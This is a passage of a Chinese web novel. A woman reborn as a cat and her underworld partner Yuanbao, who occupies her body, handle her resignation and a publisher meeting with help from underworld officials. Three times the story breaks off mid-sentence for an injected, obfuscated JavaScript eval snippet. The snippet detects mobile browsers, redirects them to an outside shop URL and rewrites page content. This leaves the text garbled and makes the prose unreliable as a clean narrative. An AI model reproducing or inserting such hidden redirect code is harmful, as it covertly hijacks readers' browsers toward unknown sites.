她下意识就往卫生间冲,结果“噗叽”一下从沙发边缘滚落,四爪朝天摔在地毯上。视野里是颠倒的天花板吊灯,爪子下面是陌生的绒毛触感。 紧接着,昨晚的记忆如轰然回涌——猝死、猫身、地府公务员…… 她僵在原地,猫眼睁圆,瞳孔地震。 闹钟还在不知疲倦地尖叫。元宝被吵得皱起眉,闭着眼伸手在茶几上摸索,“啪”一声按掉。 世界清净了。 他揉着眼睛坐起来,带着刚睡醒的茫然看向地毯上的猫。 四目相对。 她突然开口:“元宝。” 元宝:“嗯?”还带着点鼻音。 “你会上班吗?”猫等等问得很认真,“就是打卡,开会,做报表,跟客户扯皮,被领导骂,然后加班,再做报表的那种……上班。” 元宝沉默了两秒:“不会。” 猫等等:“……算了,当我没问。” 她深吸一口气,从地毯上爬起来,迈着悲壮的步伐走向书桌。 跃上桌面,伸出爪子碰了碰鼠标。 屏幕亮起,还是昨晚的工作表格。 猫等等将右前爪搭在鼠标上。 光滑的弧面贴着肉垫,无处着力。 她试着移动爪子,光标在屏幕上猛地一跳,随后开始疯狂乱窜。 猫等等:…… 算了,试试键盘。 她挪了个位置,抬起爪子对着字母区按下去。 “ZZZZZZZZZZZZZZ……” 一整排整齐的“Z”瞬间霸占了输入框。 她眯起眼,这次瞄准“H”键,慎重按下。 “JGNB”几个字母同时亮起。 “喵呜——!!!” 额头绝望地抵在键盘上,结果更多的乱码噼里啪啦地涌出。 啊…… 如果能直接物理删除这该死的上班生涯就好了…… 一双手臂突然将她从键盘上捞起,元宝不知何时站到了桌边。 他把她放到文件堆上,自己坐进椅子。 “你来说,”他看着屏幕,声音微哑,“我来操作。” 猫等等眼睛一亮。 “打开浏览器!收藏夹里找公司内部系统!”她立刻指挥,语速飞快。 登录,进入人事页面,找到离职申请。 元宝移动鼠标,光标精准地进行每一项操作。 终于填到了最后一项,离职原因。 “嗯……就写个人身体原因,无法继续胜任工作。” 填写完成,元宝让她做最终确认,结果看到猫等等盯着离职日期双眼发直:“有问题?” “没问题,我只是在悼念我逝去的10个月的年终奖。”说完背过身,“不用管我,你提交吧。” “噗……”元宝忍住不笑出声,但微耸的肩膀出卖了他。 还好,猫等等没看到。 点了提交,系统提示跳出: 【因系统全面升级维护,即日起至下月5日,所有涉及最终确认签字的流程(包括但不限于离职、合同签订、重大报销等),均需本人持有效身份证件至公司人力资源部线下办理。线上电子签名功能暂不可用。给您带来不便,敬请谅解。】 “好了吗?”猫等等半天没听到动静。 “额……要么,你转过来看看?” 猫等等狐疑转身,看到屏幕后胡须抽了抽。 “线下办理???!” 元宝想了想,指指自己:“我去替你签字?” “问题不是签字!”猫等等把爪下文件拍得啪啪响。“问题是‘我’得出现!” “还得跟HR对话,可能还要跟交接的同事碰面!你知道我们部门领导姓什么吗?知道人事部在哪里吗?知道上次团建我为什么跟小王吵架吗?你……你会应付那些吗?” 元宝被她一连串的话噎住,眨了眨眼,诚实地:“……不会”。 空气安静了几秒,只剩下电脑主机运行的低微声响。 忽然,元宝伸出手指,轻轻戳了戳猫等等毛茸茸的脑门。 猫等等:“干嘛?” 元宝指了一下她脖子上微微反光的铃铛,又指了一下自己手腕上对应的那个:“我们是不是有个引导员?” 猫等等瞬间反应过来。 “对哦!” 元宝晃了下手腕铃铛。 半透明的操作界面弹出,这次猫等等也能看到系统信息。 “怎么做到的?!系统不是加密吗?” “这里。”他点进个人中心,右下方有个小眼睛图标。“点一下,就可以关闭隐私模式了。” “还挺人性化。”猫等等感叹。 元宝快速在【个人中心】中找到【联系人】列表。置顶的是于等等,下一个赫然就是【判官-魏今安】。 头像是他穿着官袍、努力严肃却莫名喜感的证件照。 元宝点了那个名字。 光屏弹出选项: 【语音通话】、【视频通话】、【消息】。 元宝选了【语音通话】。 铃音响了三四声才被接起,魏今安明显还没睡醒的声音传来: “喂……元宝?这才几点,出什么事了?任务不是完成了吗?等等……难道协同度又掉了?!” 最后一句语气里多了些紧张,背景音里还有纸张翻动和东西碰倒的细碎声响。 “魏判官,是我,于等等。”猫等等凑近了些。 “啊?于小姐?!你们俩这么早在一起啊?!”魏今安的声音突然兴奋:“是不是身体互换出问题了?灵魂不稳?我马上查查——” “不是那个问题!”猫等等赶紧打断他,“是活人的问题!我阳间的工作要离职,必须本人去公司办理。可我现在这样怎么去?” 光屏那头沉默两秒。 然后,魏今安的声音重新传来。 “哦……这个啊。小问题,小问题!等着,我给你们发个道具过去,应该能解决!” 那边传来敲击屏幕的声音。 没过多久,元宝和猫等等同时收到系统弹窗。 【判官魏今安给你们赠送了道具:同心对讲器x2,是否接受?】 二人点击【接受】,新的光幕弹出: 【道具:同心对讲器】 【状态:运行正常】 【提示:单次配对,不可更改。】 【使用方法:佩戴,靠近,想他/她。然后就可以意念沟通啦!】 【备注:加密频道,仅限彼此。当双方心跳同步加速时,通话将自动附带柔光滤镜与背景音乐!敬请探索哦~(?ω?)】 一人一猫盯着光屏上那行自带粉红泡泡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193329|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备注,同时陷入了沉默。 “于小姐你和元宝一起去公司,遇到需要交流的意念告诉元宝就行。使用方便,放口袋里、挂衣服上,于小姐的话可以挂项圈上。”魏今安出主意。 “那什么,别的先不说,就这滤镜和音乐,万一同步了……我是说万一,不会暴露吗?!”猫等等忍不住问。 “这个不用担心,只有使用双方能看出来,隐私性绝佳!非常适合现在的你们用!” “道具时效多久?不会中途失效吧?”元宝追问。 “单次配对,能量充足,用个一天没问题!足够你们办完手续了!”魏今安信誓旦旦,背景音里隐隐传来搓手动静。 “好了好了,我这边还有个报告要赶,阎王催得紧!你们加油!挂了!” “等等,还有——” “嘟——嘟——嘟——” 通讯□□脆利落地挂断了,猫等等的爪子还抬在半空。 两人的光幕分别闪过一道白光,两个小指甲盖大小的黑色方块出现在光幕上方,方块一面上有个粉色猫爪印。 元宝对着发出忙音的系统光屏抽了抽嘴角,把属于自己的对讲器塞进了睡衣口袋。 另一个小方块像自己长了眼睛,晃晃悠悠飘到猫等等项圈上,“咔嚓”一声自己固定了上去。 “诶?!居然一点重量都没有!”猫等等惊喜地晃晃脖子,下一秒,脑中响起元宝的声音: (元宝:能听到吗?) (猫等等:能!)猫等等尾巴尖一动。 (元宝:那……问题解决了?)元宝眨眼看她。 (猫等等:不,更严重了!) 意念说完,猫等等悲愤地跳下书桌,抓狂地挠着地毯。 “猫……不能进公司啊!!!!!” 元宝:“……………………” ———————————— 与此同时,【魏今安的朋友圈】: 文案: 新的一天,从帮“芋圆CP”解决小麻烦开始!今日道具已送达,希望二位使用愉快~(偷偷说,那个备注是系统智能生成的哦,跟我可没关系![狗头]) 配图:【道具备注详情截图】(重点圈出“柔光滤镜与背景音乐”和“心跳同步加速”字样) 定位:地府·判官办公室(摸鱼中) 发文时间:上午7:36 (仅地府八卦好友圈可见) 点赞(103)/ 评论(37) 【孟小甜】: !!!这是我能看的吗?!系统都认证了!芋圆szd! 【孟婆(官方认证)】: @魏今安小魏,下次他们来,我这儿有新熬的“坦诚相见汤”,或许用得上?[微笑] 【魏今安】回复【孟婆】:孟婆大人高见!已记下![抱拳] 【地府风纪委-明镜】:注意影响……(私聊:图2原图发我一份,要清晰的。) 【不知名小无常】:判官大人!“芋圆CP”有专门的组织吗?怎么加入?求指路![星星眼] 【魏今安】回复【不知名小无常】:问得好!等我,这就拉群![摩拳擦掌] ———————————— (系统提示:魏今安创建了群聊“芋圆今天上分了吗(嗑糖专用)”) (系统提示:魏今安将孟小甜、地府同人女-墨魂、十殿实习-崔小判、忘川河摆渡人等34人拉入群聊) 5. “渣男”? 抓挠完地毯,猫等等目光决绝地抬头。 “元宝!去把卧室衣柜左边的门打开!” 柜子打开,里面放着的大多是颜色淡雅的日常衣物。 “看最上面那层!那个鹅黄色的单肩包,拿下来!” 元宝又依言取下那个包,打量了一眼。 款式简洁,容量看起来不小,包底自带硬托,其中一个侧面还有个隐秘的透气网。 至于包身正面…… 元宝对着上面印着的银发的二次元帅哥的半身像看了几秒:“这是谁?” “啊?哦。”猫等等正凑近看包包容量,尾巴尖小幅度一甩,“一个游戏角色的联动款。之前便利店买东西换购的,便宜就买了。” 她扒拉着包带:“来,快看看这包大小怎么样?试试我能不能钻进去。” 元宝嘴巴张了张,又闭了起来,蹲下身撑开包口。 “嗯,大小差不多,我到时候缩着点就行。” 猫等等钻进去,爪子在包内侧按了按。 “一会去公司,我就藏在这个包里,我们对讲器沟通。” 元宝没回应,猫等等伸出头,看见他还蹲在原地盯着那个立绘,一脸认真:“你喜欢这种?” “也不是很喜欢!就是看着顺眼。哎呀这个不重要!重点是这包容量合适!” “哦。”元宝点点头,扯了扯包袋。 三秒后。 “他是什么性格?” “……”猫等等尾巴毛有点炸。 “就是温和!会照顾人那种!行了,快去电脑那里,我还得给你培训一下怎么进公司大楼!” 说完,她飞速窜出了卧室。 猫等等跑到书桌前,刚做好起跳动作—— “那个游戏……好玩吗?” 猫等等脚下一滑。 “不好玩!!” 她重新起跳,尾巴在空中甩的飞快。 “别想游戏了,来,我给你找进公司的视频教程!快点!!” 元宝抿了抿嘴,走到书桌前拉开椅子坐下。 这次没再追问。 他学得很专注,目光紧跟着视频里讲解的路线、闸机刷卡位置、电梯间的分布,还偶尔跟着讲解低喃几句。 窗外的阳光铺进来,洒在猫等等的背上,小猫脑袋开始一点一点。 元宝静静看了她一会儿,目光缓缓转向沙发边那个鹅黄色包。 包面上角色带着无害的温柔笑容。 屏幕上,教程还在循环,元宝没点暂停,直接切换到浏览器页面。 他照着包上LOGO,在搜索框敲下名称。 官方页面弹出,于等等包上的那个角色出现在角色栏上,下面还跟着详细的性格介绍。 “温柔”、“擅长料理”、“极具包容性与守护欲”、“渴望构筑安稳日常”…… 元宝看着这些形容词眉头微皱,左手食指无意识地敲击着桌面。 ———————————— 上午九点四十分。 元宝换上猫等等指定的不起眼但得体的衣服,站在客厅中央等待最终检阅。 “不对。”猫等等她尾巴尖轻拍地面,“你得笑,笑一下试试。” 元宝看向镜子,尝试调动面部肌肉。 嘴角被生硬地提起,眼睛却依旧睁得平静无波,配上那对黑眼圈,整张脸显得割裂又惊悚。 “……”猫等等背过脸去,服了服脑袋。 “算了算了,此路不通。”她从电视柜旁扒拉出一盒未拆封的口罩。 “戴口罩装病吧!正好利用下今天的黑眼圈,来,试试咳嗽一下。” “咳咳……”肩膀微耸,眼神低垂。 “这样?” “……还行。”装的还挺像。“走吧。” 猫等等一头钻进帆布包,尾巴稳妥地圈住了身子。 ———————————— 上午十点三十分。 元宝背着单肩包站在于等等的公司楼下。 赶着上班打卡的人流早已散去,一楼大厅显得空旷异常。 元宝回忆着教程,在猫等等的意念指挥下,通过了人脸识别闸机,顺利进入了电梯厢。 就在电梯门即将关闭的刹那,一个年轻男人“唰”地挤了进来。 他穿着花哨衬衫的年轻男人,戴着墨镜,脸色苍白,胸前还别了个【地府宣传】字眼的徽章,手里拿着个造型复古的铜钱串相机。 “hello!新鲜出炉的黑白无常新秀!” 男人墨镜滑下鼻梁,笑得灿烂异常。 “自我介绍一下,阿飘,地府《酆都娱乐周刊》的记者兼首席摄像!” 没等元宝反应,他已经“咔嚓”一声,对着元宝和他背上的包拍了一张。 元宝后退一步,皱眉看向他。 “别紧张别紧张,”阿飘摆摆手,掏出个小本本和一支羽毛笔。 “魏判官怕你们头回办这种人间业务抓瞎,特意派我来提供一点场外技术指导!顺便呢……” 他晃了晃相机,笑容更盛:“给咱们周刊的新人专栏攒点素材,内部流通,绝对安全!销量好还有分红哦亲!” 几乎同时,两人的铃铛轻轻一晃。 【魏今安:给你们协调了个很靠谱的助手过去,应该能帮上忙,祝离职顺利,加油哦ヾ(?°?°?)??】 (猫等等&元宝:……) (猫等等:靠谱?) (元宝:至少,地府的身份靠谱。大概。) 阿飘毫不在意他俩发愣的动作,举起相机,对准元宝和他背上的包:“你们那个同心对讲器很有话题度,介意我怕个特写吗?” 元宝透过包包的网孔看了猫等等一眼。 (猫等等:……拍吧拍吧。)反正也拦不住。 电梯很快到达12楼。 元宝头也不回地迈出电梯,阿飘立刻牛皮糖似的跟上,嘴里哼着小曲儿,还时不时抓拍两张。 就在他们拐过走廊,眼看人事部在望时—— “等等!” 清亮的女声从身后响起。 元宝身体一僵。 包里的猫等等也瞬间屏住呼吸。 (猫等等:完了完了!这是林琳!我关系最好的同事,最难瞒的就是她了!警报拉起!随机应变!) (元宝:嗯。) 元宝背包的手紧了紧。 “你怎么才来?我还以为你睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193330|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过头了,刚想给你打电话呢!” 林琳从茶水间门口小跑过来,却被转过身来的“于等等”吓得手一抖,咖啡差点洒地上。 “你脸色怎么这么差?生病了?昨晚又熬夜工作了?!身体才是革命的本钱啊等等,不要因为一个渣男就这么拼命工作,不值得!” 元宝的身体僵硬了一下。 旁边的阿飘也立刻竖起耳朵,嘴里无声地“哇哦”着,更用力地按着快门。 (元宝:渣男?) (猫等等:以前年轻不懂事的黑历史而已,过去式了不用管。) (元宝:……哦。) 过了一秒。 (元宝:你真是因为他才拼命工作的?) (猫等等:怎……怎么会!我是找到了人生新方向!我都把他删了800年了!) (元宝口罩下的嘴唇抿了抿:……哦。) “你怎么不说话?”林琳眯着眼打量“于等等”,突然倒吸一口冷气,声音都提高了几度: “你……你不会又和那个渣男联系上了吧!!我们要相貌有相貌,要能力有能力的,没必要吃回头草啊等等!” 说着就要上前拍于等等肩膀。 “没联系,删了。”元宝假装抬手咳嗽,巧妙地避开了林琳伸过来的手。 “那就好。”林琳松了口气,目光落到鹅黄色包上: “咦?你怎么舍得把这宝贝背出来了?之前不是供着都不让碰吗?还说这是你新老公。” (包里的猫等等:……) (元宝:……?) (猫等等:咳,那什么,那都是以前,以前……) “让我看看到底多好看?你当初为了换购这个,吃了半个月的便利店饭团吧?” 眼看林琳再次伸手,马上就要碰到藏着猫等等的单肩包,元宝突然弯下腰,单手捂住口罩,肩膀耸动,咳得那叫一个撕心裂肺。 “咳咳……咳咳咳……抱、抱歉……”他声音沙哑的吓人,“可能是流感……林琳你……离远点,别传染给你……” “我的天,怎么这么严重?那你还不赶紧去医院?来公司干嘛?” 眼看林琳不仅没被吓退,甚至还要开启新一轮的关怀询问,阿飘眼珠一转,身影嗖地飘向林琳的工位。 “哗啦!” 林琳放在桌角的水杯莫名其妙倾倒,半杯水全洒在了摊开的文件和桌面的键盘上。 “啊!我的报告!”林琳惊呼一声,再也顾不上“于等等”,转身冲回工位手忙脚乱地抢救。 阿飘飘回元宝身边,墨镜后的眼睛弯了弯,浑身散发着四个字——功成身退! 这之后,再无别的意外。 阿飘目送二人进了人事部,从怀里摸出个苹果,靠在人事部门楼走廊的墙上,一边啃一边翻开小本本,钢笔唰唰写着: 【新人黑白无常搭档,头回人间任务记录。配合情况尚待观察。重点:人类方对男性相关词汇有异常反应,疑似有料,建议继续跟随观察。】 写完,他美滋滋地合上本子,对着人事部门口,又“咔嚓”补了一张。 门内,离职流程按部就班。 门外,地府八卦记者的素材库,正式添上了浓墨重彩的第一笔! 6. 搭档之间,是不是该多点坦诚? 离职手续办得比预想中的快。 见元宝从人事部走出,阿飘刚把剩下的苹果一口气啃完,抬手打了个响指。 下一刻,于等等所在部门那片办公区突然有人大喊了句:“会议室紧急会议!所有人立刻!”。 脚步声兵荒马乱,工位瞬间空了。 “五分钟,够了吧?”阿飘冲元宝挤挤眼。 (猫等等:……这也行?!) 她指挥着元宝快速遛回工位,三两下将私人物品全部扫进纸箱。 直到彻底走出公司大楼,猫等等才从包里探出头,狠狠吸了口室外空气。 “咔嚓——” 又是一道快门声。 “素材收集完毕!你们可以去【幽博】关注下我们宣传部,周刊发布之后,分红会打到你们系统账户的!” 阿飘拍下了一人一猫在阳光中抱着离职纸箱的纪念照,笑嘻嘻地掏出一张名片。 “来来来,加个联系方式,以后有好素材记得call我哦!” 声音还飘在在耳边,身影却已消失不见。 半空中,那张名片晃晃悠悠地自己飘起,化作两缕黑影迅速融进他和猫等等的铃铛里。 “这家伙,虽然看着不靠谱,但做事还挺利索。”猫等等有些意外。 “嗯,今天多亏了他。”元宝摘下口罩,深呼吸了一口空气。 微小的暖流划过二人的铃铛。 【联系人“阿飘”添加成功!】 【系统提示:临时协作任务“告别社畜生涯”完成。协同度提升1%。当前协同度:23.3%。】 又涨了! 猫等等兴奋地把爪子搭到元宝胳膊上,尾巴愉悦地轻晃。 “现在去哪?直接回家?”元宝看向猫等等。 猫等等想了想:“要不在附近转转?难得用这个视角看看世界。” “好。”元宝抱着箱子沿着人行道慢慢走着。 路上行人不多,猫等等脑袋搭在包沿上,阳光洒在她毛茸茸的脸上。 “元宝,今天谢谢你。” 元宝脚步没停,嘴角却扬了一下。 “回头也得谢谢魏判官,”猫等等语气轻松了些。 “嗯,他在找帮手这块眼光还行。” “背着包累吗?你这猫身应该不算轻。” “不累,你这人身力气还行。” 两人对视一眼,突然一起哈哈大笑起来。 一个胡子乱颤,一个肩膀耸动。 “叮咚——” 手机提示音打断了氛围。 元宝掏出手机,一条待办出现在屏幕上: 【周日签售会】插画集《星夜物语》,A13展位。 凑过去看的猫等等突然就僵住了,看着屏幕的眼神开始发直,下一秒—— “喵嗷!!!” 她猛地从包里弹起来,眼看就要摔摔倒地上,又被元宝眼疾手快地按了回去。 此时的猫等等已经炸成了鸡毛掸子。 “签售会!我的签售会!我完全忘了!” 她低头看了一眼自己的爪子,喊得更大声了:“我要怎么去啊啊啊啊啊!” 元宝又看了眼屏幕: “你还会画画?” “重点不应该是明天怎么去吗?!”猫等等狠狠挠了几下内衬,最后脑袋往包沿上生无可恋地一耷拉。 “是我副业。” “之前出的插画集,出版社给安排了场签售,在漫展。” 元宝沉默两秒:“你之前熬夜是因为这个?不是因为那个渣男?” “……?” “这都什么时候了你还提他?!” 猫等等看他的眼神简直像看傻子。 “我加班是因为工作!是因为签售会!跟那混蛋有什么关系?!” “哦。”元宝眼神里的光好像亮了点,“知道了。” 猫等等:“……” 她又泄愤似的挠了几下包底,突然,动作一停。 “搭档~”她凑近些。 “你看,我们第一次合作处理人类事务,是不是还挺成功的?” “不仅提升了默契,协同度也涨了~” 语气风轻云淡。 至少她自己是这么觉得的。 “嗯。”元宝等着她下文。 “所以要不要趁热打铁,再来一次不用抓鬼也能涨协同度的好事?” 元宝沉默了两秒。 “你想让我替你去签售会?” “嗯!粉丝买画册,你签个名就行!至于猫身怎么进展会,这个我有办法!”她语速飞快。 元宝看着搭在猫包边沿的那对越抠越紧的爪子,沉默了几秒:“可以。” 猫等等眼睛一亮。 “但在那之前,我想先讨论一件更重要的事。” 猫等等心里咯噔一下。 “什么事?” “搭档之间,是不是应该多点坦诚?”他快速瞟了眼包,又迅速收回目光。 “比如为了换购吃了半个月饭团这种事,我……” “咳……我更想直接从你这里知道。” “……?” 哈??? 猫等等满头问号地看向元宝,元宝却只是专心地看着风景,连余光都没分给她! 猫等等:“……” 几秒钟的沉默。 “行……行吧。以后尽量不瞒你。” “尽量?!” 元宝立马垂头看她,尾音有些飘,眼里的光似乎都暗了点。 “……必须。”猫等等咬牙。 “好。”元宝嘴角极轻微地向上牵动了一下,“签售会,我去。” 他伸出手指将她头顶一撮乱了的毛抚平。 毛没抚平,手机先震了一下。 微信新消息,来自出版社编辑: 【等等,你之前定制的那批签售会用的小礼品和展示立牌都做好了。是同城闪送几个样品给你,还是你抽时间过来看一下?我们正好核对下当天流程。】 “去看。正好当面聊聊带猫助理参展的细节。” “好。” 元宝又揉了几下。 那撮毛终于被抚平了。 ———————————— 出租车停在了一栋设计感十足的办公楼前。 编辑回复说安排了人在一楼大厅等他们。 元宝背着猫包抱着纸箱,刚走进旋转门,一个清亮又带着点咋呼的声音飘了过来: “于等等!这儿呢!” 大厅休息区的沙发上跳起来一个高个子男生。 他穿着宽松的日系街头风卫衣,脖子上挂着个造型夸张的耳机,头发挑染了几缕雾霾蓝,笑容灿烂得晃眼。 包里的猫等等一个哆嗦。 (猫等等:我去!他怎么在这儿?!) (元宝:认识?) (猫等等:池塔!我发小!从小一起拆家那种!完了完了,他眼睛毒得很,比林琳难糊弄一百倍!) 元宝脚步一顿,将口罩往上拉了拉。 池塔三步并作两步冲了过来,抬手就要往“于等等”肩膀上拍:“可以啊你,这两天消息不回,电话不接,搞失联是吧?要不是我正好在……诶?” 他的手停在半空。 “你……你这什么情况?脸色怎么这么差?生病了?还有这箱子,你离职了?!” 元宝侧身避开他的手,同时抬了下纸箱隔开两人距离。 “嗯,身体原因,离职了。” “这么严重?!你以前可是打架一打五的体格子啊!” 元宝一噎。 “……嗯,正好想休息下。” (元宝:……一打五?) (猫等等:以前,以前……) “也对,你一毕业就跑去上班,还正副业一起搞,早就该休息下了。”池塔刷完门禁,目光落到单肩包上,眼睛一亮。 “你还养猫了?什么时候的事?这猫品相不错啊!” 他凑近了些打算仔细看看。 元宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193331|197090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不着痕迹地后退了半步:“它怕生。” “哦哦。”池塔挠挠头,没再往前凑,目光还停在猫身上,“它叫什么名字?” “元宝。” 他根据猫等等的意念提示,主动转移话题,“你怎么在这里?之前不是说,被你爸发配到分公司了吗?” “对啊!就是这儿!”池塔指了指楼上,“这出版社,我家老头新入股的,把我扔过来学习了。今天正好看到你的签售物料,这不一听是你要来,我就立马下来接你了。” 他一边说,一边抬手伸向纸箱:“病号就别逞强了,箱子给我。” “不用。”元宝再次避开,径直走向电梯间,“几楼?” “十七。”池塔收回手。 他看着“于等等”的背影,心里有些纳闷。 怎么感觉今天这么见外呢?生病闹的? 电梯里,池塔靠在厢壁上:“所以说,你最近到底咋样?咱们可好久没见了。除了生病离职养猫,还有别的惊喜吗?” (元宝:还有某渣男的事。) (猫等等:不能提!不然这小子八卦起来没完没了!) (元宝口罩后的眼睛弯了弯:好。) “没了,你呢,你在这里具体做什么?”元宝反问。 “打杂呗。”池塔耸肩,“不过能看到不少好玩的稿子。还有你画集之前卖得不错,周日签售准备的量也挺多。” 电梯“叮”一声到达。 门外是出版社所在的明亮开阔的办公区。 池塔率先走出去,回头朝元宝招手: “走吧,带你去看看你的江山!” 他笑着转身,边走边朝里面喊:“刘编辑!人接到了!” 一个戴黑框眼镜的干练中年女性闻言笑着起身:“你来啦等等,小池说认识你,非要下去接。你来看看……哎?” 她看到戴着口罩、脸色憔悴、还抱着纸箱背着猫包的“于等等”,愣了一下。 “等等,你这是……生病了?” (猫等等:要么,元宝,等办完这些事儿,咱先回去补个觉……) (元宝:……赞同。) “还好,不影响正事。” “哎呀,别逞强,赶紧坐下说。”刘编辑连忙招呼,目光落到猫包上,“诶?!还带了小助理来?小家伙真可爱~” “嗯。”元宝将纸箱放在角落,把装着猫等等的抱放在腿上,认真核对起刘编辑递过来的物料和流程表。 池塔去给于等等接了杯水,拉了个小板凳在边上一起听。 “还有你刚刚手机里和我提到的,打算带宠物一起去展会,刚刚我和主办方那边沟通了下。”刘编辑拿出一个平板递到元宝面前。 “那边原本就有带宠物过去参展的先例,加上猫和你这次画册的主题契合,主办方说像你这个情况,材料齐全符合要求就行。这是他们发来的要求清单,你按照上面的核对下。” 元宝接过来,猫等等也把脑袋凑过去一起看。 “诶,这小家伙还会看平板呢!” 池塔觉得有意思,也凑过来,结果就瞄到其中一条,“确认宠物不怕生,不会应激……嘶——” 他倒吸一口气。 “等等,你刚刚是不是说你家猫……” “它不怕生。”元宝打断他。 猫等等立刻跳出猫包,在编辑的桌上溜达了一圈,还小心避开了重要物品。随后又在桌上打了个滚,滚完还蹭了蹭刘编辑的手。 池塔:“????” 刘编辑边被蹭的呵呵笑,看向池塔:“怎么了小池?” 问的时候还不忘挠挠猫下巴:“哎呦,这小猫真亲人,看起来带过去没问题。来,小池,给我们拍个视频,我给主办方发过去。“ “额……好……好的……”池塔挠了挠脑袋,懵逼地看看猫,又看看元宝。 元宝对他露出了一个极其温和的微笑:“拍吧。” 虽然微笑被口罩挡住,根本看不到! 池塔:“……………………” 7.有导师了,但是老六 元宝调出之前体检的电子清单,发给刘编辑。 “还差疫苗本,我回去拍照给您。” “好嘞,这下材料都齐了,那今天就先这样?”刘编辑又看了眼于等等,贴心道,“早点回去休息吧。周日我们展位见!” “好,谢谢刘编辑。” 元宝重新背好猫包,抱起纸箱就往电梯口走。 “我送你下去。”池塔立刻跟上。 走出编辑部,池塔忍不住又问:“你真没事吧?周日能行吗?不行别硬撑。” “能行。”元宝脚步没停。 池塔看着他,忽然压低声音:“喂,等等,你该不会……还没从上次那破事里缓过来吧?我说,为了个连面都不敢见的家伙,真不值得。” 元宝脚步一顿,看向他。 (猫等等:他怎么知道的??我没说啊!) “你怎么知道的?” “林琳怕我说漏嘴,让你想起伤心事,跟我提前打了招呼。但我没想到你状态差成这样。“ (猫等等:……所以他以为我是情伤未愈才搞成这样?算了,这误会挺好,别解释!) (元宝:……) “不是因为他。”元宝按下电梯键,语气听不出波澜。 “我很好。而且,”他转过头,认真看向池塔:“我现在有新搭档了,关系很好。” “啊???你这么快就有新欢了?你……额……” 池塔嘴巴长大,最后叹了口气,“行了,别逞强了,就你那万年铁树开不了花的性子,我不问就是了。” 元宝:”?“这家伙怎么这么能脑补。 他张了张嘴正想解释,池塔已经把他推进了电梯。 “走走走,早点回去休息。周日签售会我去给你捧场!加油呀!” 走出大楼,元宝站在路边等车。 他看着池塔挥挥手跑回大楼的背影,眼神有些一言难尽。 猫等等从包里探出身子,扒拉着包沿。 “喂,”她小幅度晃了下尾巴。“你刚刚为什么要那样说啊。” “哪样?” “‘我现在有新搭档了,关系很好’——这样。” “我只是在陈述事实,让一个善良的人早点知道真相。”元宝看了眼手机上司机的车牌号。 “但他并没有相信诶!” “那是他的事情。”他对着一辆在不远处停下的车挥了挥手,“车来了,我们回家。” 猫等等看着安静坐在后座的元宝,再次探出脑袋。 (猫等等:今天谢了。) (元宝:不客气。) (猫等等:池塔那小子的话……别在意) (元宝:嗯,没在意。不过有另一个东西可以在意一下。) (猫等等:什么东西?) (元宝:协同度。) 他晃了晃手腕的铃铛。 【叮——检测到协同方默契度提升,协同度+2%,当前协同度25.3%】 “喵呜?!”后座爆发出一声惊喜的猫叫。 回到家,身心俱疲。 元宝几乎是沾床就倒,猫等等也在沙发上蜷成一团,一人一猫迅速沉入睡眠。 元宝睡得并不安慰,眉头紧锁,额头被冷汗浸湿。 梦里是破碎的画面: 刺耳的刹车声、飞溅的玻璃、刺目的车灯,还有一片混乱中,他推开一个老人的模糊身影…… 最后是手机上未发出的信息,和某个约定见面的地点。 “哈——” 他倒吸着气从床上弹坐起来,心跳快的像是要跳出胸口。 窗外天色已经彻底暗下来,他在黑暗中发了会呆,气息平缓一些后,他打开台灯,端起床头柜上的水杯一口猛灌下去。 一口气终于喘匀,他掀开被子准备下窗,动作突然一顿。 他猛地看向房间角落那片最深的阴影:“谁?!” “哟,警惕性不错。” 一个低沉微哑、带着点玩味的声音从阴影里响起。 紧接着,一个高大的身影缓缓踱了出来。 玄色无常制服,身姿挺拔健硕,身高目测超过一米九,那顶黑色高帽上“天下太平”四个字白得刺眼。 他脸上没什么表情,眼神却锐利得吓人,浑身散发出巨大的压迫感。 元宝浑身汗毛瞬间炸起,手下意识的抚上腕间。 这人的目光在元宝脸上扫过,又瞥了眼门外客厅的方向,嘴角极轻微地勾了一下。 下一秒,他眼神陡然变得凌厉,手腕一抖,一道锁链窜出,甩向元宝! “缉魂司,黑无常正月。奉令,接引滞留阳间生魂‘于等等’归案!” 锁链落下,在元宝脖子上松松打了个结。 元宝:“……?” 链子轻飘飘的,简直像根玩具,透出的威压还不如于等等手腕上的那根。 他抽了抽嘴角,抬手就要把这玩意儿摘下来。 “住手!!” 一声尖锐的猫叫伴随着身影同时扑到床上。 猫等等挡在元宝身前,浑身的毛炸开:“你……你哪个部门的?!不知道我们是同事吗?!有系统认证的!” “同事?”正月面无表情,抬手在空中一划,一块半透明的系统光屏弹出。 他手指一转,屏幕朝向猫等等。 